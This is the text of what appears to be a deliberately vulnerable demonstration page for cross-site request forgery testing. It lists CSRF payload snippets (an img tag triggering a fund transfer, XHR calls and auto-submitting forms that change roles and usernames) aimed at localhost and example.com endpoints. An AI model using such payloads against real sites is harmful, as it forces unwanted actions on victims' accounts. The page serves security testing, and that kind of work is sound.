Test Server - CSRF
PoC
HOME
ATTACKS
API
LOGIN
PoC
HOME
ATTACKS
API
LOGIN
Let's Launch Some Cross Site Request Forgery Attacks
Select Attack Payload and Run it!
Cross Site Request Forgery Attacks
img src='http://localhost/attack.asp?Screen=13&menu=900&transferFunds=4000'
xhr.open('POST', 'http://www.example.com/api/setrole');
">form id='CSRF_POC' action='www.example.com/api/setrole' enctype='
script> var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/api/currentuser');
const file = new File( [ 'CSRF-filecontent' ], 'CSRF-filename' );
form id='autosubmit' action='http://www.example.com/api/setusername'
action='http://www.example.com/api/setusername' enctype='text/plain'
img src="http://www.example.com/api/setusername?username=CSRFd"
http://www.example.com/api/setusername?username=CSRFd">Click Me
Send Attack
WARNING:
This is an intentionally weak demonstration website used only for testing.
©
Monitorapp
All Right Reserved